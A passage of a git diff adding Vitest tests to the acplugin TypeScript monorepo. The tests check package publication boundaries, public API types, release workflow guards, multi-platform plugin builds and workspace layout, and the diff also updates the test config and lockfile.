三个正式公开包的清单路径。 */ +const publicManifests = [ + 'packages/acplugin/package.json', + 'packages/extensions/hooks/package.json', + 'packages/extensions/mcp/package.json', +] as const; + +/** + * 递归读取目录中满足后缀要求的全部文件。 + * + * @param directory 待遍历目录。 + * @param suffixes 需要保留的文件后缀。 + * @returns 按路径排序的绝对文件列表。 + */ +async function filesWithSuffixes(directory: string, suffixes: readonly string[]): Promise { + /** 当前层按文件名排序后的目录项。 */ + const entries = await fs.readdir(directory, { withFileTypes: true }); + /** 当前目录和所有子目录累计的匹配文件。 */ + const files: string[] = []; + /** entry 表示当前排序后的目录项,用于递归收集目标后缀。 */ + for (const entry of entries.sort((left, right) => left.name.localeCompare(right.name, 'en'))) { + if (entry.name === 'node_modules') + continue; + /** 当前目录项的绝对路径。 */ + const candidate = path.join(directory, entry.name); + if (entry.isDirectory()) + files.push(...await filesWithSuffixes(candidate, suffixes)); + else if (suffixes.some(suffix => entry.name.endsWith(suffix))) + files.push(candidate); + } + return files; +} + +/** + * 读取并拼接一组文本构建产物,便于执行跨 Chunk 边界扫描。 + * + * @param files 需要读取的绝对文件路径。 + * @returns 包含相对路径标记的完整文本。 + */ +async function joinedSources(files: readonly string[]): Promise { + /** 各文件路径和源码组成的确定性片段。 */ + const sources = await Promise.all(files.map(async (file) => { + /** 当前产物的 UTF-8 源码。 */ + const source = await fs.readFile(file, 'utf8'); + return `\n${path.relative(root, file)}\n${source}`; + })); + return sources.join(''); +} + +describe('published package boundaries', () => { + it('bundles every private workspace runtime out of the main package', async () => { + /** 主包所有 ESM 和声明构建产物。 */ + const files = await filesWithSuffixes(path.join(root, 'packages/acplugin/dist'), ['.mjs', '.d.mts']); + /** 用于检测私有工作区引用泄漏的完整产物文本。 */ + const source = await joinedSources(files); + + expect(source).not.toMatch(/from\s+["']@acplugin\//); + expect(source).not.toMatch(/import\s*\(\s*["']@acplugin\//); + expect(source).not.toMatch(/^\s*(?:import|export)\s.*from\s+["'](?:@tokenroll\/acplugin-extension-(?:hooks|mcp)|rolldown|@rolldown\/)/m); + expect(source).not.toMatch(/^\s*import\s*\(\s*["'](?:@tokenroll\/acplugin-extension-(?:hooks|mcp)|rolldown|@rolldown\/)/m); + expect(source).not.toMatch(/type\s+(?:AcpluginModule|TargetContribution|TargetId)\b/); + expect(source).not.toMatch(/type\s+Module(?:Build|Discover|Generate|Validate)Context\b/); + }); + + it('keeps the local MCP Bundler in its published Extension entry', async () => { + /** 不触达 Rolldown 的 MCP Extension 轻量公开入口。 */ + const index = await fs.readFile(path.join(root, 'packages/extensions/mcp/dist/index.mjs'), 'utf8'); + /** 只有发现本地 stdio Server 后才动态加载的重型构建入口。 */ + const bundler = await fs.readFile(path.join(root, 'packages/extensions/mcp/dist/bundler.mjs'), 'utf8'); + + expect(index).toContain('new URL("./bundler.mjs", import.meta.url)'); + expect(index).not.toMatch(/^\s*import\s.*from\s+["'](?:rolldown|@rolldown\/)/m); + expect(bundler).toMatch(/^\s*import\s.*from\s+["']rolldown["']/m); + }); + + it('keeps each Platform subpath limited to its public factory contract', async () => { + /** id 与 factory 表示当前检查的 Platform 子路径及其唯一工厂导出。 */ + for (const [id, factory] of platformEntries) { + /** 从真实构建文件加载的 Platform 子路径运行时命名空间。 */ + const module = await import(pathToFileURL(path.join(root, `packages/acplugin/dist/platforms/${id}.mjs`)).href); + expect(Object.keys(module).sort()).toEqual(['PLATFORM_API_VERSION', 'PLATFORM_ID', factory].sort()); + /** 当前子路径生成的独立声明入口。 */ + const declaration = await fs.readFile(path.join(root, `packages/acplugin/dist/platforms/${id}.d.mts`), 'utf8'); + expect(declaration).not.toMatch(/\b(?:Compiler|Serializer|Validator|Registry|executeLifecycle|buildProject)\b/); + } + }); + + it('externalizes the public main package from both Extension declarations and runtimes', async () => { + /** extension 表示当前检查的正式 Extension 包目录名。 */ + for (const extension of ['hooks', 'mcp']) { + /** 当前 Extension 的 ESM 与声明入口源码。 */ + const files = [ + path.join(root, `packages/extensions/${extension}/dist/index.mjs`), + path.join(root, `packages/extensions/${extension}/dist/index.d.mts`), + ]; + /** 两个入口共同构成的包边界文本。 */ + const source = await joinedSources(files); + expect(source).toContain('from "@tokenroll/acplugin"'); + expect(source).not.toContain('@acplugin/'); + } + }); + + it('publishes only the fixed three-package cohort and a Node 20 ESM CLI', async () => { + /** Workspace 中所有 package.json 路径。 */ + const manifests = await filesWithSuffixes(path.join(root, 'packages'), ['package.json']); + /** 未声明 private 的实际公开包名称。 */ + const publicNames: string[] = []; + /** manifestPath 表示当前解析公开性字段的 Workspace 清单。 */ + for (const manifestPath of manifests) { + /** 当前 Workspace 包清单。 */ + const manifest = JSON.parse(await fs.readFile(manifestPath, 'utf8')) as { name: string; private?: boolean }; + if (manifest.private !== true) + publicNames.push(manifest.name); + } + expect(publicNames.sort()).toEqual([ + '@tokenroll/acplugin', + '@tokenroll/acplugin-extension-hooks', + '@tokenroll/acplugin-extension-mcp', + ].sort()); + expect(publicManifests).toHaveLength(3); + + /** 主包生成并由 package.json bin 指向的 CLI 文件。 */ + const cliPath = path.join(root, 'packages/acplugin/dist/cli.mjs'); + /** CLI shebang 与 ESM 源码。 */ + const cli = await fs.readFile(cliPath, 'utf8'); + /** CLI 文件系统权限。 */ + const stat = await fs.stat(cliPath); + expect(cli.startsWith('#!/usr/bin/env node\n')).toBe(true); + expect(stat.mode & 0o111).not.toBe(0); + expect(cli).not.toMatch(/\brequire\s*\(/); + }); +}); diff --git a/packages/test/test/public-api.types.ts b/packages/test/test/public-api.types.ts new file mode 100644 index 0000000..81e46dc --- /dev/null +++ b/packages/test/test/public-api.types.ts @@ -0,0 +1,61 @@ +import { + antigravity, + BUILTIN_PLATFORM_IDS, + claudeCode, + codex, + cursor, + defineConfig, + definePlatform, + openCode, + pi, + type BuiltinPlatformId, + type PlatformId, +} from '@tokenroll/acplugin'; +import { PLATFORM_ID as CODEX_PLATFORM_ID } from '@tokenroll/acplugin/platforms/codex'; + +/** + * 验证主包只需通过精选导出即可支持内置联合类型和开放第三方 Platform。 + */ +export function verifyPublicPlatformTypes(): void { + /** 主包维护的六个平台组成封闭联合类型。 */ + const builtin: BuiltinPlatformId = BUILTIN_PLATFORM_IDS[0]; + /** 第三方平台通过工厂获得不受内置联合限制的开放品牌。 */ + const community: PlatformId = definePlatform({ + id: 'community-platform', + apiVersion: '1', + deliveryType: 'plugin', + strict: true, + /** prepare 提供当前对象协议要求的回调实现。 */ prepare: () => ({ documents: [], artifacts: [] }), + /** generateBundle 提供当前对象协议要求的回调实现。 */ generateBundle: () => ({ id: 'plugin', role: 'primary', type: 'plugin', artifacts: [] }), + /** validateBundle 提供当前对象协议要求的回调实现。 */ validateBundle: () => undefined, + }).id; + // @ts-expect-error 第三方 ID 不会被误纳入官方内置联合类型。 + const unsupportedBuiltin: BuiltinPlatformId = 'community-platform'; + /** 六个官方工厂各自接受由所属 Platform 包约束的配置。 */ + const official = [ + claudeCode({ defaultEnabled: false, marketplace: { owner: { name: 'TokenRoll' } } }), + codex({ interface: { category: 'Productivity' } }), + cursor({ strict: false }), + antigravity({ strict: false }), + openCode({ workspace: { schema: true } }), + pi({ package: { image: './assets/cover.png' } }), + ]; + /** 最终配置使用 Platform/Extension 数组且保持顶层 metadata。 */ + const config = defineConfig({ + name: 'typed-config', + version: '1.0.0', + description: 'Typed config.', + platforms: official, + extensions: [], + }); + /** 子路径稳定导出与主入口工厂使用同一 Platform ID。 */ + const codexId: 'codex' = CODEX_PLATFORM_ID; + // @ts-expect-error Antigravity 不接受属于 Marketplace Platform 的配置字段。 + antigravity({ marketplace: {} }); + // @ts-expect-error Cursor 1.0 没有经过验证的 Marketplace Distribution 配置。 + cursor({ marketplace: {} }); + // @ts-expect-error 最终配置不再接受旧 targets 字段。 + defineConfig({ name: 'legacy', version: '1.0.0', description: 'Legacy.', targets: ['codex'] }); + + void [builtin, community, unsupportedBuiltin, official, config, codexId]; +} diff --git a/packages/test/test/repository.test.ts b/packages/test/test/repository.test.ts index 7fd1676..1773f9d 100644 --- a/packages/test/test/repository.test.ts +++ b/packages/test/test/repository.test.ts @@ -18,24 +18,27 @@ async function read(relativePath: string): Promise { describe('repository release and documentation guards', () => { it('keeps the public packages in one manually publishable cohort', async () => { + /** 手动发布 Cohort 中三个公开包的清单路径。 */ const packageFiles = [ 'packages/acplugin/package.json', - 'packages/module-hooks/package.json', - 'packages/module-mcp/package.json', + 'packages/extensions/hooks/package.json', + 'packages/extensions/mcp/package.json', ]; + /** 三个公开包解析后的发布字段。 */ const manifests = await Promise.all(packageFiles.map(async file => JSON.parse(await read(file)) as { name: string; version: string; private?: boolean; publishConfig?: { access?: string; provenance?: boolean }; })); + /** Changesets 中声明的固定版本发布组。 */ const changeset = JSON.parse(await read('.changeset/config.json')) as { fixed: string[][] }; expect(new Set(manifests.map(manifest => manifest.version)).size).toBe(1); expect(manifests.map(manifest => manifest.name)).toEqual([ '@tokenroll/acplugin', - '@tokenroll/acplugin-module-hooks', - '@tokenroll/acplugin-module-mcp', + '@tokenroll/acplugin-extension-hooks', + '@tokenroll/acplugin-extension-mcp', ]); expect(manifests.every(manifest => manifest.private !== true)).toBe(true); expect(manifests.every(manifest => manifest.publishConfig?.access === 'public')).toBe(true); @@ -44,7 +47,9 @@ describe('repository release and documentation guards', () => { }); it('does not expose an automated publication path', async () => { + /** PR 阶段只做静态检查的 Action 内容。 */ const check = await read('.github/workflows/check.yml'); + /** 手动消费 Changeset 并创建版本 PR 的 Action 内容。 */ const patch = await read('.github/workflows/patch.yml'); await expect(fs.access(path.join(root, '.github/workflows/publish-npm.yml'))).rejects.toThrow(); @@ -54,7 +59,9 @@ describe('repository release and documentation guards', () => { }); it('checks pull requests and creates version PRs only on manual dispatch', async () => { + /** 用于验证 PR 触发器和命令边界的 Check Action。 */ const check = await read('.github/workflows/check.yml'); + /** 用于验证手动分支输入和版本 PR 的 Patch Action。 */ const patch = await read('.github/workflows/patch.yml'); expect(check).toContain('pull_request:'); @@ -64,12 +71,15 @@ describe('repository release and documentation guards', () => { expect(check).not.toMatch(/pnpm run (?:test|build|release:verify)/); expect(patch).toContain('workflow_dispatch:'); expect(patch).toContain('target_branch:'); + expect(patch).toContain('pnpm changeset status --output'); + expect(patch).toContain('status.releases.length === 0'); expect(patch).toContain('pnpm version-packages'); expect(patch).toContain('peter-evans/create-pull-request@v8'); expect(patch).toContain('base: ${{ inputs.target_branch }}'); }); it('keeps current docs free of the retired namespace and CLI', async () => { + /** 当前需要同步且不得残留旧命名的稳定文档集合。 */ const docs = await Promise.all([ 'README.md', 'README.zh-CN.md', @@ -87,6 +97,7 @@ describe('repository release and documentation guards', () => { 'llmdoc/reference/conversion-matrix.md', 'llmdoc/reference/conversion-matrix.zh-CN.md', ].map(read)); + /** 便于统一扫描旧 namespace、命令和路径的文档文本。 */ const currentDocumentation = docs.join('\n'); expect(currentDocumentation).not.toContain('@disdjj/acplugin'); diff --git a/packages/test/test/secondary-platforms.test.ts b/packages/test/test/secondary-platforms.test.ts new file mode 100644 index 0000000..84c409b --- /dev/null +++ b/packages/test/test/secondary-platforms.test.ts @@ -0,0 +1,309 @@ +import { spawn } from 'node:child_process'; +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { afterEach, describe, expect, it } from 'vitest'; +import type { BuildResult, RunProjectOptions } from '@tokenroll/acplugin'; + +/** 当前测试文件所在仓库的绝对根目录。 */ +const repositoryRoot = fileURLToPath(new URL('../../..', import.meta.url)); + +/** 配置文件直接导入的主包真实构建产物。 */ +const acpluginEntry = path.join(repositoryRoot, 'packages/acplugin/dist/index.mjs'); + +/** 临时包代理加载的 Hooks Extension 真实构建产物。 */ +const hooksEntry = path.join(repositoryRoot, 'packages/extensions/hooks/dist/index.mjs'); + +/** 临时包代理加载的 MCP Extension 真实构建产物。 */ +const mcpEntry = path.join(repositoryRoot, 'packages/extensions/mcp/dist/index.mjs'); + +/** 当前测试创建并在 afterEach 中统一删除的临时工程。 */ +const temporaryRoots: string[] = []; + +/** + * 在原生 Node ESM 子进程中运行真实主包,确保配置和 Pipeline 共用品牌实例。 + * + * @param options 可 JSON 序列化的项目运行选项。 + * @returns 公开 API 产生的结构化 BuildResult。 + */ +async function runProject(options: RunProjectOptions): Promise { + /** 子进程直接导入真实主包构建产物并序列化结果的 ESM 源码。 */ + const source = ` +import { runProject } from ${JSON.stringify(acpluginEntry)}; +try { + const result = await runProject(${JSON.stringify(options)}); + process.stdout.write(JSON.stringify({ ok: true, result })); +} catch (error) { + process.stdout.write(JSON.stringify({ + ok: false, + name: error instanceof Error ? error.name : 'Error', + message: error instanceof Error ? error.message : 'Project execution failed.', + })); +} +`; + /** 原生 ESM 子进程的退出状态和输出。 */ + const execution = await new Promise<{ readonly code: number | null; readonly stdout: string; readonly stderr: string }>((resolve, reject) => { + /** 不经过 Vitest 转换器的真实 Node 进程。 */ + const child = spawn(process.execPath, ['--input-type=module', '--eval', source], { + env: process.env, + stdio: ['ignore', 'pipe', 'pipe'], + }); + /** 子进程累计的 JSON 标准输出。 */ + let stdout = ''; + /** 子进程累计的框架错误输出。 */ + let stderr = ''; + child.stdout.setEncoding('utf8'); + child.stderr.setEncoding('utf8'); + child.stdout.on('data', (chunk: string) => { + stdout += chunk; + }); + child.stderr.on('data', (chunk: string) => { + stderr += chunk; + }); + child.on('error', reject); + child.on('close', code => resolve({ code, stdout, stderr })); + }); + if (execution.code !== 0) + throw new Error(`Project subprocess failed: ${execution.stderr}`); + /** 子进程返回的成功结果或安全错误摘要。 */ + const payload = JSON.parse(execution.stdout) as { + readonly ok: boolean; + readonly result?: BuildResult; + readonly name?: string; + readonly message?: string; + }; + if (!payload.ok || payload.result === undefined) + throw new Error(`${payload.name ?? 'Error'}: ${payload.message ?? 'Project execution failed.'}`); + return payload.result; +} + +/** + * 在临时工程中创建一个指向 workspace 构建产物的 ESM 包代理。 + * + * @param root 临时工程根目录。 + * @param packageName 待创建的包名。 + * @param entry workspace 内真实 ESM 入口。 + */ +async function writePackageProxy(root: string, packageName: string, entry: string): Promise { + /** scope/name 转换后的临时 node_modules 包目录。 */ + const packageRoot = path.join(root, 'node_modules', ...packageName.split('/')); + await fs.mkdir(packageRoot, { recursive: true }); + await fs.writeFile(path.join(packageRoot, 'package.json'), JSON.stringify({ + name: packageName, + version: '1.0.0', + type: 'module', + exports: './index.mjs', + })); + await fs.writeFile( + path.join(packageRoot, 'index.mjs'), + `export * from ${JSON.stringify(entry)}; export { default } from ${JSON.stringify(entry)};\n`, + ); +} + +/** + * 创建覆盖四个平台、两个 Extension 和所有 Component 的真实工程。 + * + * @returns 已登记自动清理的工程根目录。 + */ +async function createCompleteProject(): Promise { + /** 当前用例独占的临时工程。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-secondary-platforms-')); + temporaryRoots.push(root); + await writePackageProxy(root, '@tokenroll/acplugin-extension-hooks', hooksEntry); + await writePackageProxy(root, '@tokenroll/acplugin-extension-mcp', mcpEntry); + await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/skills/review/references'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/agents'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/hooks/session-start'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/hooks/permission'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/mcp/docs'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/mcp/local-tools'), { recursive: true }); + await fs.mkdir(path.join(root, 'public/assets'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/commands/release.md'), `--- +description: Prepare a release. +argumentHint: +--- +Prepare release {{arguments}}. +`); + await fs.writeFile(path.join(root, 'src/skills/review/SKILL.md'), `--- +description: Review the current change. +--- +Review the implementation. +`); + await fs.writeFile(path.join(root, 'src/skills/review/references/checklist.md'), 'Review checklist.\n'); + await fs.writeFile(path.join(root, 'src/agents/reviewer.md'), `--- +description: Review code changes. +model: capable +capabilities: + - filesystem:read + - search +--- +Review code and report findings. +`); + await fs.writeFile(path.join(root, 'src/hooks/session-start/hook.ts'), ` +import { defineHook } from '@tokenroll/acplugin-extension-hooks'; +export default defineHook({ event: 'SessionStart', run() { return { additionalContext: 'Ready.' }; } }); +`); + await fs.writeFile(path.join(root, 'src/hooks/permission/hook.ts'), ` +import { defineHook } from '@tokenroll/acplugin-extension-hooks'; +export default defineHook({ event: 'PermissionRequest', run() { return { decision: 'defer' }; } }); +`); + await fs.writeFile(path.join(root, 'src/mcp/docs/mcp.ts'), ` +import { defineMcpServer } from '@tokenroll/acplugin-extension-mcp'; +export default defineMcpServer({ transport: 'http', url: 'https://mcp.example.com/mcp' }); +`); + await fs.writeFile(path.join(root, 'src/mcp/local-tools/mcp.ts'), ` +import { defineMcpServer } from '@tokenroll/acplugin-extension-mcp'; +export default defineMcpServer({ transport: 'stdio' }); +`); + await fs.writeFile(path.join(root, 'src/mcp/local-tools/server.ts'), ` +let buffer = ''; +process.stdin.setEncoding('utf8'); +process.stdin.on('data', (chunk) => { + buffer += chunk; + const lines = buffer.split('\\n'); + buffer = lines.pop() ?? ''; + for (const line of lines.filter(Boolean)) { + const message = JSON.parse(line); + if (message.method === 'initialize') { + process.stdout.write(JSON.stringify({ jsonrpc: '2.0', id: message.id, result: { + protocolVersion: message.params.protocolVersion, + capabilities: { tools: {} }, + serverInfo: { name: 'secondary-fixture', version: '1.0.0' }, + } }) + '\\n'); + } else if (message.method === 'tools/list') { + process.stdout.write(JSON.stringify({ jsonrpc: '2.0', id: message.id, result: { tools: [] } }) + '\\n'); + } + } +}); +`); + await fs.writeFile(path.join(root, 'public/assets/readme.txt'), 'Public asset.\n'); + await fs.writeFile(path.join(root, 'acplugin.config.ts'), ` +import { antigravity, cursor, openCode, pi } from ${JSON.stringify(acpluginEntry)}; +import hooks from '@tokenroll/acplugin-extension-hooks'; +import mcp from '@tokenroll/acplugin-extension-mcp'; +export default { + name: 'portable-tools', + version: '1.2.3', + description: 'Portable tools.', + displayName: 'Portable Tools', + author: { name: 'TokenRoll', email: 'maintainers@example.com', url: 'https://example.com/team' }, + homepage: 'https://example.com/portable-tools', + repository: 'https://github.com/TokenRollAI/portable-tools', + license: 'MIT', + keywords: ['portable'], + platforms: [cursor({ strict: false }), antigravity({ strict: false }), openCode({ strict: false }), pi({ strict: false })], + extensions: [hooks(), mcp()], + build: { strict: false }, +}; +`); + return root; +} + +afterEach(async () => { + await Promise.all(temporaryRoots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); + +describe('secondary official Platforms', () => { + it('builds four native delivery-unit shapes with field-level compatibility', async () => { + /** 覆盖全部次级 Platform 和 Extension Adapter 的规范工程。 */ + const root = await createCompleteProject(); + /** 宽松模式允许矩阵明确声明的有限支持进入交付。 */ + const result = await runProject({ cwd: root, command: 'build', mode: 'production' }); + + expect(result.success).toBe(true); + expect(result.deliveryUnits.map(unit => `${unit.platform}/${unit.id}:${unit.type}`).sort()).toEqual([ + 'antigravity/plugin:plugin', + 'cursor/plugin:plugin', + 'opencode/workspace:workspace', + 'pi/package:package', + ]); + /** Cursor 使用官方 Plugin Manifest、原生 Component 和 remote-only MCP。 */ + const cursorManifest = JSON.parse(await fs.readFile( + path.join(root, 'dist/cursor/plugin/.cursor-plugin/plugin.json'), + 'utf8', + )) as Record; + expect(cursorManifest).toMatchObject({ + name: 'portable-tools', + commands: './commands/*.md', + skills: './skills/*/SKILL.md', + agents: './agents/*.md', + hooks: './hooks/hooks.json', + mcpServers: './mcp.json', + }); + await expect(fs.access(path.join(root, 'dist/cursor/plugin/mcp/local-tools/server.mjs'))).rejects.toThrow(); + + /** Antigravity 保持最小 Manifest,并将 Command/Agent 收敛到 Skills。 */ + expect(JSON.parse(await fs.readFile(path.join(root, 'dist/antigravity/plugin/plugin.json'), 'utf8'))) + .toEqual({ name: 'portable-tools' }); + expect(await fs.readFile( + path.join(root, 'dist/antigravity/plugin/skills/command-release/SKILL.md'), + 'utf8', + )).toContain('the arguments supplied with this explicit invocation'); + expect(await fs.readFile( + path.join(root, 'dist/antigravity/plugin/skills/agent-reviewer/SKILL.md'), + 'utf8', + )).toContain('role guidance'); + + /** OpenCode 输出 workspace 资源、runtime Hook Plugin 与 local/remote MCP 配置。 */ + const openCodeConfig = JSON.parse(await fs.readFile(path.join(root, 'dist/opencode/workspace/opencode.json'), 'utf8')); + expect(openCodeConfig).toHaveProperty('mcp.docs.type', 'remote'); + expect(openCodeConfig).toHaveProperty('mcp.local-tools.type', 'local'); + expect(await fs.readFile( + path.join(root, 'dist/opencode/workspace/.opencode/plugins/acplugin-hooks.mjs'), + 'utf8', + )).toContain('\'tool.execute.before\''); + + /** Pi 输出真正的 npm package,Hooks 进入 Extension,MCP 不产生伪配置。 */ + const piPackage = JSON.parse(await fs.readFile(path.join(root, 'dist/pi/package/package.json'), 'utf8')); + expect(piPackage).toMatchObject({ + name: 'portable-tools', + version: '1.2.3', + pi: { + skills: ['./skills'], + prompts: ['./prompts'], + extensions: ['./extensions/acplugin-hooks.mjs'], + }, + }); + expect(piPackage).not.toHaveProperty('private'); + expect(result.compatibility).toEqual(expect.arrayContaining([ + expect.objectContaining({ platform: 'cursor', subject: 'mcp:local-tools', level: 'unsupported' }), + expect.objectContaining({ platform: 'antigravity', subject: 'command:release', level: 'transform' }), + expect.objectContaining({ platform: 'opencode', subject: 'agent:reviewer', capability: 'agent.capabilities', level: 'transform' }), + expect.objectContaining({ platform: 'pi', subject: 'mcp:docs', level: 'unsupported' }), + ])); + }); + + it('keeps strict Pi usable for Skills and Commands but rejects Agent fallback', async () => { + /** 完整工程用于先确认 Agent fallback 的 strict 失败。 */ + const root = await createCompleteProject(); + /** Pi strictness 只对实际能力损失生效。 */ + const strictWithAgent = await runProject({ + cwd: root, + command: 'validate', + mode: 'production', + platforms: ['pi'] as never, + strict: true, + }); + expect(strictWithAgent.success).toBe(false); + expect(strictWithAgent.diagnostics).toContainEqual(expect.objectContaining({ + code: 'COMPATIBILITY_STRICT', + platform: 'pi', + })); + + /** 移除 Agent 和 MCP 后只剩 Pi 原生/transform 能力。 */ + await fs.rm(path.join(root, 'src/agents'), { recursive: true, force: true }); + await fs.rm(path.join(root, 'src/mcp'), { recursive: true, force: true }); + await fs.rm(path.join(root, 'src/hooks/permission'), { recursive: true, force: true }); + /** strict Skills/Commands/SessionStart 构建结果。 */ + const supported = await runProject({ + cwd: root, + command: 'validate', + mode: 'production', + platforms: ['pi'] as never, + strict: true, + }); + expect(supported.success).toBe(true); + }); +}); diff --git a/packages/test/test/workspace-layout.test.ts b/packages/test/test/workspace-layout.test.ts new file mode 100644 index 0000000..7cf3185 --- /dev/null +++ b/packages/test/test/workspace-layout.test.ts @@ -0,0 +1,99 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { describe, expect, it } from 'vitest'; + +/** Workspace 边界测试读取的仓库绝对根目录。 */ +const root = fileURLToPath(new URL('../../..', import.meta.url)); + +/** 六个内置 Platform 的目录名与私有包名。 */ +const platformPackages = [ + ['claude-code', '@acplugin/platform-claude-code'], + ['codex', '@acplugin/platform-codex'], + ['cursor', '@acplugin/platform-cursor'], + ['antigravity', '@acplugin/platform-antigravity'], + ['opencode', '@acplugin/platform-opencode'], + ['pi', '@acplugin/platform-pi'], +] as const; + +/** 正式发布版本组包含的三个公开包清单路径。 */ +const publicPackageFiles = [ + 'packages/acplugin/package.json', + 'packages/extensions/hooks/package.json', + 'packages/extensions/mcp/package.json', +] as const; + +/** Workspace 边界断言需要读取的 package.json 字段。 */ +interface PackageManifest { + name: string; + version: string; + private?: boolean; + dependencies?: Record; + peerDependencies?: Record; + devDependencies?: Record; +} + +/** + * 读取仓库内一个 JSON 文件。 + * + * @param relativePath 仓库相对路径。 + * @returns 解析后的 JSON 值。 + */ +async function readJson(relativePath: string): Promise { + /** JSON 文件的 UTF-8 原文。 */ + const source = await fs.readFile(path.join(root, relativePath), 'utf8'); + return JSON.parse(source) as T; +} + +describe('final workspace skeleton', () => { + it('declares every built-in Platform as an independent private package', async () => { + /** 六个 Platform 实际读取到的包清单。 */ + const manifests = await Promise.all(platformPackages.map(async ([directory]) => readJson(`packages/platforms/${directory}/package.json`))); + + expect(manifests.map(manifest => manifest.name)).toEqual(platformPackages.map(([, name]) => name)); + expect(manifests.every(manifest => manifest.private === true)).toBe(true); + expect(manifests.every(manifest => manifest.version === '0.0.0')).toBe(true); + expect(manifests.every(manifest => manifest.dependencies?.['@acplugin/core'] === 'workspace:*')).toBe(true); + }); + + it('keeps exactly the intended public release cohort on one version', async () => { + /** 主包和两个 Extension 的公开清单。 */ + const manifests = await Promise.all(publicPackageFiles.map(async file => readJson(file))); + /** 三个公开包的预期正式名称。 */ + const expectedNames = [ + '@tokenroll/acplugin', + '@tokenroll/acplugin-extension-hooks', + '@tokenroll/acplugin-extension-mcp', + ]; + + expect(manifests.map(manifest => manifest.name)).toEqual(expectedNames); + expect(new Set(manifests.map(manifest => manifest.version))).toEqual(new Set(['1.0.0'])); + expect(manifests.every(manifest => manifest.private !== true)).toBe(true); + for (const manifest of manifests) { + /** 公开运行时依赖中可能泄漏的私有包名。 */ + const privateRuntimeDependencies = Object.keys(manifest.dependencies ?? {}).filter(name => name.startsWith('@acplugin/')); + expect(privateRuntimeDependencies).toEqual([]); + } + for (const manifest of manifests.slice(1)) + expect(manifest.peerDependencies?.['@tokenroll/acplugin']).toBe('workspace:^'); + }); + + it('uses nested pnpm workspace patterns and TypeScript 7 for source packages', async () => { + /** pnpm workspace 与 catalog 配置原文。 */ + const workspace = await fs.readFile(path.join(root, 'pnpm-workspace.yaml'), 'utf8'); + /** 所有新源码包的 package.json 路径。 */ + const sourcePackageFiles = [ + ...platformPackages.map(([directory]) => `packages/platforms/${directory}/package.json`), + 'packages/extensions/hooks/package.json', + 'packages/extensions/mcp/package.json', + ]; + /** 新源码包实际读取到的清单。 */ + const manifests = await Promise.all(sourcePackageFiles.map(async file => readJson(file))); + + expect(workspace).toContain('- packages/*'); + expect(workspace).toContain('- packages/platforms/*'); + expect(workspace).toContain('- packages/extensions/*'); + expect(workspace).toContain('\'@typescript/native\': npm:typescript@^7.0.2'); + expect(manifests.every(manifest => manifest.devDependencies?.['@typescript/native'] === 'catalog:')).toBe(true); + }); +}); diff --git a/packages/test/vitest.config.ts b/packages/test/vitest.config.ts index 535f708..75976e2 100644 --- a/packages/test/vitest.config.ts +++ b/packages/test/vitest.config.ts @@ -11,7 +11,7 @@ function workspaceSource(path: string): string { return fileURLToPath(new URL(path, import.meta.url)); } -// 集成测试直接 Alias 到工作区源码;pretest 仍会构建 CLI 与公开 Module 以覆盖真实产物路径。 +// 集成测试直接 Alias 到工作区源码;pretest 仍会构建 CLI 与公开 Extension 以覆盖真实产物路径。 export default defineConfig({ test: { environment: 'node', @@ -19,11 +19,10 @@ export default defineConfig({ resolve: { alias: { '@acplugin/core': workspaceSource('../core/src/index.ts'), - '@acplugin/compiler-claude-code': workspaceSource('../compiler-claude-code/src/index.ts'), - '@acplugin/compiler-codex': workspaceSource('../compiler-codex/src/index.ts'), + '@tokenroll/acplugin/platforms/claude-code': workspaceSource('../acplugin/src/platforms/claude-code.ts'), + '@tokenroll/acplugin/platforms/codex': workspaceSource('../acplugin/src/platforms/codex.ts'), '@tokenroll/acplugin': workspaceSource('../acplugin/src/index.ts'), - '@tokenroll/acplugin-module-hooks': workspaceSource('../module-hooks/src/index.ts'), - '@tokenroll/acplugin-module-mcp': workspaceSource('../module-mcp/src/index.ts'), + '@tokenroll/acplugin-extension-mcp': workspaceSource('../extensions/mcp/src/index.ts'), }, }, }); diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index b9368fb..6799cb6 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -9,15 +9,15 @@ catalogs: '@types/node': specifier: ^20.19.0 version: 20.19.43 + '@typescript/native': + specifier: npm:typescript@^7.0.2 + version: 7.0.2 rolldown: specifier: ^1.2.2 version: 1.2.2 tsdown: specifier: ^0.22.14 version: 0.22.14 - typescript: - specifier: ^7.0.2 - version: 7.0.2 vitest: specifier: ^4.1.10 version: 4.1.10 @@ -38,9 +38,15 @@ importers: '@stylistic/eslint-plugin': specifier: ^5.10.0 version: 5.10.0(eslint@10.8.0(jiti@2.7.0)) + '@tokenroll/acplugin-extension-mcp': + specifier: workspace:^ + version: link:packages/extensions/mcp '@types/node': specifier: 'catalog:' version: 20.19.43 + '@typescript/native': + specifier: 'catalog:' + version: typescript@7.0.2 eslint: specifier: ^10.8.0 version: 10.8.0(jiti@2.7.0) @@ -55,13 +61,13 @@ importers: version: 0.3.23 tsdown: specifier: 'catalog:' - version: 0.22.14(@arethetypeswrong/core@0.18.5)(publint@0.3.23)(typescript@6.0.3) + version: 0.22.14(@arethetypeswrong/core@0.18.5)(@typescript/typescript6@6.0.2)(publint@0.3.23) typescript: - specifier: ^6.0.3 - version: 6.0.3 + specifier: npm:@typescript/typescript6@^6.0.2 + version: '@typescript/typescript6@6.0.2' typescript-eslint: specifier: ^8.66.0 - version: 8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3) + version: 8.66.0(@typescript/typescript6@6.0.2)(eslint@10.8.0(jiti@2.7.0)) vitest: specifier: 'catalog:' version: 4.1.10(@types/node@20.19.43)(vite@7.3.6(@types/node@20.19.43)(jiti@2.7.0)(yaml@2.9.0)) @@ -95,72 +101,177 @@ importers: ora: specifier: ^5.4.1 version: 5.4.1 + semver: + specifier: ^7.8.5 + version: 7.8.5 + spdx-expression-parse: + specifier: 